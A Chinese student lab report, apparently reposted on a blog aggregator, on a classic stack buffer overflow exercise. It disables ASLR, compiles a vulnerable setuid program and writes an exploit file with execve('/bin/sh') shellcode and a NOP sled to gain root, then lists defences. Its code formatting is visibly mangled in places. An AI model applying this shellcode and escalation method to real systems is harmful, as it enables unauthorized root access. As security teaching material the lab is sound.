首页 > 其他分享 >实验七

实验七

时间:2022-12-13 18:57:42浏览次数:54  
标签:x90 buffer sudo char badfile 实验 stack

实验指导书内容
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备
注意gdb的安装,实验楼中没有Python的安装包

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y gdb
三、实验步骤
3.1初始化设置
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
1.Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

2.设置zsh程序

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

图2

3.进入32位linux环境

3.2漏洞程序
在 /tmp 目录下新建一个 stack.c 文件:

cd /tmp
vim stack.c

stack.c,通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

/* stack.c */

/* This program has a buffer overflow vulnerability. /
/
Our task is to exploit this vulnerability */

include <stdlib.h>

include <stdio.h>

include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;

}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;

}

编译该程序,并设置 SET-UID。命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
3.3 攻击程序
目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c /
/
A program that creates a file containing code for launching shell*/

include <stdlib.h>

include <stdio.h>

include <string.h>

char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);

}

现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:

gdb stack
disass main
结果图:

esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

3.4 攻击结果
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

可见,通过攻击,获得了root 权限!

原文链接:https://blog.csdn.net/weixin_43771137/article/details/128063046
缓冲区溢出实验原理
程序试图向缓冲区写入超出预分配固定长度数据时,攻击漏洞,导致数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
缓冲区溢出的防范
1.不要用%n formatter

2.不要把用户的输入作为参数传到格式化字符串处理函数中,例如,printf("%s", argv[1])。

3.字符串处理避免使用strcpy,strcat,sprintf,gets。应该使用strncpy,strncat,snprintf。strlcpy和strlcat都是NULL结尾。尽量使用std::string,MFC::CString

4.使用C++ I/O函数

5.使用安全的C Runtime Time函数*_s function,关于安全函数请看https://msdn.microsoft.com/library/wd3wzwts.aspx

6.检查文件路径的长度,不要超过系统允许的最大值。

标签:x90,buffer,sudo,char,badfile,实验,stack
From: https://www.cnblogs.com/zhx0qp4/p/16979622.html

相关文章

  • 公有云-实验一 实践腾讯云部署Web应用
    实验一实践腾讯云部署Web应用概述企业A需要搭建一套在互联网上发布的论坛平台,但是企业内部并没有完善的基础架构设施,难以保证论坛平台的高可用性和高安全性。经过IT部门......
  • 公有云-实验二 实践高可用的云架构
    实验二实践高可用的云架构概述企业A的论坛平台已经顺利上线。但是随着用户量的激增,原有的架构已经难以完全支撑论坛平台的正常运行。由于用户量的增加,前端负载压力也随......
  • 公有云-实验三 使用无服务器函数发邮件
    实验三使用无服务器函数发邮件概述在本实验中,我们将会使用腾讯云的消息队列CKafka、无服务器云函数SCF和对象存储COS,实现一个异常日志检测及记录系统。当业务系统中的应......
  • 想做长期的 AB 实验?快来看看这些坑你踩了没
    作者:江颢1.什么是长期的AB实验大部分情况下,我们做的AB实验都是短期的,一到两周或者一个月之内的,通过分析这段时期内测得的实验效应得出实验结论,并最终进行推广。长期实......
  • 数据溢出实验
    20221427曹甲松《缓冲区溢出》的实验报告一. 实验指导书内容                          二. 缓冲区溢出的原理计......
  • C/C++实验室信息管理
    C/C++实验室信息管理36.实验室信息管理实验室信息包括:实验室编号,实验室名称,地点,管理员,座位数等信息。试设计实验室信息管理,使之能提供以下功能:1)系统以菜单方式工作(......
  • C/C++实验仪器管理系统
    C/C++实验仪器管理系统6.21实验仪器管理系统[问题详述]实验室的仪器由专人维护管理以保证实验时能够正常使用。仪器的管理实行使用登记制度,仪器使用(借出)达到一定次数......
  • 20221312 实验七——缓冲区溢出 实验报告
    缓冲区溢出实验指导书内容一、实验简介缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码......
  • 缓冲区溢出实验
    缓冲区溢出实验实验书内容缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。......
  • 实验七-缓冲区溢出
    实验准备实验楼提供的是64位Ubuntulinux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。输入命令安装一些用于编译32位......